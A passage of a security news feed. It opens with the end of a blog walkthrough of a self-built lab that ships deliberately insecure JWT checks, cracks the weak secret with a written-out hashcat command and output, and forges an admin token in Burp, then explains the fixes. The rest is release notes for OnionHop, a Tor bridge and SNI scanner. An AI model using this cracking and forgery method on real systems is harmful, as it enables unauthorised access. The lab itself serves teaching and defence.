&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6]]></title>
<description><![CDATA[The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.
Added

SNI scanner (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. Domain mode tests a list of can...]]></description>
<link>https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:20 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner</strong> (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. <strong>Domain mode</strong> tests a list of candidate domains as SNI on :443; <strong>Range mode</strong> tests one SNI across an IPv4 CIDR range (bounded). Working hosts can be applied as your custom SNI hosts (used by fronted webtunnel/meek/snowflake bridges) or saved to the library. Green = handshake completed (usable), red = blocked/reset.</li>
<li><strong>Saved-bridges library</strong> (Scanner → Saved). Bridges from the bridge scanner and hosts from the SNI scanner can be saved to a persistent library, then labelled, re-applied or removed later - scan results are no longer lost when the scan finishes. Both scanners gained a <strong>Save to Library</strong> action.</li>
<li><strong>Current Bridge tab: per-row copy + sortable columns</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4792201997" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/69" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/69/hovercard" href="https://github.com/center2055/OnionHop/issues/69">#69</a>). Each bridge row has a one-tap copy button, and the Type / Address / Status headers sort on click (click again to reverse); the bridge currently in use stays pinned to the top.</li>
<li><strong>Bridge copy/export refinement</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623180884" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/56" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/56/hovercard" href="https://github.com/center2055/OnionHop/issues/56">#56</a>). Copy on the Current Bridge tab now returns only the bridge Tor is actually using (not the whole supplemented list), and Export writes a CSV with Type, Address, Status, Fingerprint and the raw line.</li>
<li><strong>CLI <code>scan &lt;type&gt; --use</code>.</strong> After probing, the reachable bridges are saved as your custom list and selected as the source, so the next <code>connect</code> uses exactly those - the command-line equivalent of the GUI scanner's Apply button.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li><strong>Custom bridge source ignored under Smart Connect</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793735074" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/70" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/70/hovercard" href="https://github.com/center2055/OnionHop/issues/70">#70</a>). Smart Connect (on by default) reset the source to Auto and dropped your custom bridge list while racing its own transports, so a pasted obfs4 bridge could end up connecting via a webtunnel bridge you never added. Smart Connect now honors an explicit Custom source and uses exactly those bridges.</li>
</ul>
<p>Thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Airuop/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Airuop">@Airuop</a> for the scanner and bridge-tab suggestions.</p>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.exe</code> / <code>OnionHopCLI-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Not sure which Mac you have? Apple menu &gt; About This Mac. "Apple M1/M2/M3/M4" means Apple Silicon (arm64); anything listing an Intel processor needs the x64 build.</p>
</blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.1]]></title>
<description><![CDATA[A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.
Fixed

SNI scanner never found a working host. Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back...]]></description>
<link>https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:19 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.</p>
<h3>Fixed</h3>
<ul>
<li><strong>SNI scanner never found a working host.</strong> Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back "blocked" and the scanner looked like it did nothing. It now completes TLS handshakes and reports reachable SNI hosts correctly.</li>
<li><strong>SNI scanner status messages are now localized</strong> ("Ready.", "Scanning…", "Enter at least one domain to test.", etc.) instead of always showing in English.</li>
</ul>
<h3>Added</h3>
<ul>
<li>The saved-bridges library now shows a <strong>Ping</strong> column - the latency measured when each entry was saved.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.1.exe</code> / <code>OnionHopCLI-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.1-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.2]]></title>
<description><![CDATA[Scanner improvements from testing feedback.
Added

Bridge scanner: "Load bridges" — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).
"Import file" on both the bridge scanner and th...]]></description>
<link>https://tsecurity.de/de/3687277/it-security-tools/onionhop-362/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687277/it-security-tools/onionhop-362/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:17 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Scanner improvements from testing feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>Bridge scanner: "Load bridges"</strong> — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).</li>
<li><strong>"Import file"</strong> on both the bridge scanner and the SNI scanner — load bridge lines / candidate domains from a <code>.txt</code>/<code>.csv</code> file.</li>
<li><strong>Saved-bridges library: ping badge</strong> — each saved entry's latency now shows as a green (or amber, when slow) "✔ ms" badge instead of a plain number.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.2.exe</code> / <code>OnionHopCLI-Portable-3.6.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.3]]></title>
<description><![CDATA[Adds an easier way to use the SNI scanner, and restores the full macOS build.
Added

SNI scanner: "Load candidates" - one click fills the box with a built-in starter list of common CDN/front domains (Cloudflare, Fastly, Google, Microsoft, Apple, jsDelivr, Wikipedia, and more), so you have somethi...]]></description>
<link>https://tsecurity.de/de/3687276/it-security-tools/onionhop-363/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687276/it-security-tools/onionhop-363/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:15 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Adds an easier way to use the SNI scanner, and restores the full macOS build.</p>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner: "Load candidates"</strong> - one click fills the box with a built-in starter list of common CDN/front domains (Cloudflare, Fastly, Google, Microsoft, Apple, jsDelivr, Wikipedia, and more), so you have something to scan without needing to know which domains to try. Then press Start Scan; the green rows are the SNI hosts that work on your network. You can still edit the list, import your own, or paste more.</li>
</ul>
<h3>Note</h3>
<p>macOS builds are back - v3.6.2's Mac assets were held up by a pending Apple developer agreement, now resolved. This release ships the complete set for all platforms.</p>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.3.exe</code> / <code>OnionHopCLI-Portable-3.6.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.3-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.3-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.3-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.3-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.3-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7]]></title>
<description><![CDATA[Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.
Fixed

Snowflake starting again on censored networks (#71). Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever th...]]></description>
<link>https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:14 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Snowflake starting again on censored networks (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840691314" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/71" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/71/hovercard" href="https://github.com/center2055/OnionHop/issues/71">#71</a>).</strong> Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever the AMP-cache rendezvous was enabled. The AMP cache was being passed as a <code>-ampcache</code> command-line flag, which the bundled Snowflake binary (lyrebird) rejects, so it exited immediately. It is now set as an <code>ampcache=</code> parameter on the Snowflake bridge line, which lyrebird reads. This mainly affected networks where Smart Connect forces Snowflake AMP (for example Iran).</li>
</ul>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner compact layout.</strong> The SNI scanner now matches the bridge scanner: a "Custom list" toggle keeps the candidate-domain box collapsed until you turn it on or load, import, or request a list, so the controls take less room.</li>
<li><strong>Request SNI (per-country lists).</strong> Working SNI hosts are country-specific, so the SNI scanner gained a "Request SNI" button that fetches a candidate list for your country from the OnionHop SNI-lists source and loads it for scanning. A country picker appears when the source is reachable.</li>
<li><strong>Export Working.</strong> The SNI scanner can now save the working SNI hosts to a text file.</li>
<li><strong>About page release links.</strong> Each release in the changelog history now has a "View on GitHub" link that opens that release's page, and the sources section lists the new OnionHop SNI Lists source.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.exe</code> / <code>OnionHopCLI-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.1]]></title>
<description><![CDATA[Adds a Copy button to saved bridges and SNI hosts, so you can rescan them without applying first.
Added

Copy button in the saved library. Each entry in Scanner > Saved now has a "Copy" button next to Apply and Delete. It copies just that bridge line or SNI host to the clipboard, so you can paste...]]></description>
<link>https://tsecurity.de/de/3687274/it-security-tools/onionhop-371/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687274/it-security-tools/onionhop-371/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Adds a Copy button to saved bridges and SNI hosts, so you can rescan them without applying first.</p>
<h3>Added</h3>
<ul>
<li><strong>Copy button in the saved library.</strong> Each entry in Scanner &gt; Saved now has a "Copy" button next to Apply and Delete. It copies just that bridge line or SNI host to the clipboard, so you can paste it into the bridge scanner or SNI scanner and rescan it directly. Previously you had to Apply an entry and copy it from another tab before you could rescan it.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.1.exe</code> / <code>OnionHopCLI-Portable-3.7.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.1-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.1-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.1-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.1-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.1-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.2]]></title>
<description><![CDATA[Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.
Fixed

Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) inst...]]></description>
<link>https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:10 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Bridge scanner verifies webtunnel for real.</strong> The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
<li><strong>Transport start failures now say why.</strong> When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.2.exe</code> / <code>OnionHopCLI-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.3]]></title>
